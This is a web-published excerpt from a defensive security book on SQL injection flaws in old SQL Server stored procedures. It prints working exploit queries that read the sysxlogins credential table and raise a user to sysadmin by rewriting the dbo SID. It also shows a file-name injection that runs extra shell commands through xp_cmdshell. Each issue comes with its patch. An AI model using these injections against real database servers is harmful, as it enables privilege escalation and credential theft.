Vulnerable stored procedures

Learn about security vulnerabilities in SQL Server Stored procedures in this excerpt from "The Database Hacker's Handbook: Defending Database Servers" by David Litchfield, Chris Anley, John Heasman and Bill Grindlay.

 
The following excerpt, courtesy of Wiley Publishing, is from Chapter 22 of the book "The Database Hacker's Handbook: Defending Database Servers" written by David Litchfield, Chris Anley, John Heasman and Bill Grindlay. Click for the complete book excerpt series or purchase the book.



Stored Procedures

SQL Server stored procedures can be vulnerable to SQL injection attacks if they do not correctly parse user-supplied arguments. A stored procedure sp_MSdropretry is used to delete database tables and is accessible to the public role by default. The sysxlogins table can be retrieved on SQL Server 2000 pre-Service Pack 3 with the following query:

EXEC sp_MSdropretry 'foobar select * from master.dbo.sysxlogins' ,
'foobar'

Viewing the T-SQL source of this stored procedure:

CREATE PROCEDURE sp_MSdropretry (@tname sysname, 
@pname sysname)
as
 declare @retcode int
 /*
 ** To public
 */
 exec ('drop table ' + @tname)
 if @@ERROR <> 0 return(1)
 exec ('drop procedure ' + @pname)
 if @@ERROR <> 0 return(1)
 return (0)
GO
you can see that the problem occurs because the tname user-supplied parameter is concatenated onto the string "drop table" and then executed without validation. The severity of this issue is low because all injected SQL will execute with the privileges of the current user. However, if an attacker obtains elevated privileges this bug will allow writes to system tables. Users with db_owner, db_securityadmin, db_datawriter, or db_ddladmin privileges could also take advantage of this issue in combination with ownership chaining to escalate their privileges to sysadmin level. Ownership chaining is a feature that allows users on one server to access objects on other SQL Servers based on their login. The initial step in privilege escalation is to create a view to modify the sysxlogins table:
EXEC sp_executesql N'create view dbo.test as select * from
master.dbo.sysxlogins'
Then the dbo group's SID (Security Identifier) is set to 0x01:
EXEC sp_MSdropretry 'foobar update sysusers set sid=0x01 where name =

''dbo''', 'foobar'

The current user's xstatus field is now set to 18 (sysadmin):

EXEC sp_MSdropretry 'foobar update dbo.test set xstatus=18 where
name=SUSER_SNAME()', 'foobar'

And finally, clean up by removing the view and resetting dbo's SID:

EXEC sp_executesql N'drop view dbo.test'
EXEC sp_MSdropretry 'foobar sysusers set sid=SUSER_SID
(''DbOwnerLogin'')
where name = ''dbo''', 'foobar'

This security hole was closed with the release of SQL Server 2000 Service Pack 3, which fixed the SQL injection vulnerability in the sp_MSDropRetry stored procedure. However, a new SQL injection vulnerability in the stored procedure sp_MSdroptemptable in this updated version can allow users with create database privileges (or ownership of a database) to elevate their access level to system administrator. First the database is created:

create database test
go
The context is set:
use test

As before, the SID of the dbo group is set to 0x01 (that of sa):

exec sp_MSdroptemptable ''') is null update sysusers set sid=0x01 
where
name=''dbo''--'
setuser 'dbo' with noreset
setuser

Now that the user has escalated privileges to sa, xp_cmdshell can be executed or the sysxlogins table viewed. This issue was fixed in the patch MS03-031.

The replication features of SQL Server are used to distribute data across a wide and diverse network of servers. The stored procedure sp_MScopyscriptfile is used to create a directory within the replication directory and then copy in a script file. Versions of this procedure in SQL Server 7 and 2000 SP2 and earlier are vulnerable to SQL injection in its @scriptfile parameter. The vulnerable lines of the procedure are as follows:

select @cmd = N'copy "' + @scriptfile + N'" "' + @directory + N'"'
exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT
The filename to copy (@scriptfile) is being inserted into the command passed to exec without any verification. Arbitrary commands can be executed by supplying a malformed filename:
use master
declare @cmd nvarchar(4000)
exec sp_MScopyscriptfile N'c:boot.ini" c:a.txt&echo hello >
c:b.txt & echo "hello',@cmd OUTPUT
print @cmd

This attack would copy the server's boot.ini file to the file a.txt, but would also write the text "hello" to the file b.txt. This vulnerability corresponds to < a href=http://www.microsoft.com/technet/security/bulletin/MS02-043.mspx>Microsoft Security Bulletin MS02-043.

Click for the next excerpt in this series: Port scanning

Click for the complete book excerpt series.

This was first published in September 2005

Dig deeper on SQL Server Security

Pro+

Features

Enjoy the benefits of Pro+ membership, learn more and join.

0 comments

Oldest 

Forgot Password?

No problem! Submit your e-mail address below. We'll send you an email containing your password.

Your password has been sent to:

SearchBusinessAnalytics

SearchDataCenter

SearchDataManagement

SearchAWS

SearchOracle

SearchContentManagement

SearchWindowsServer

Close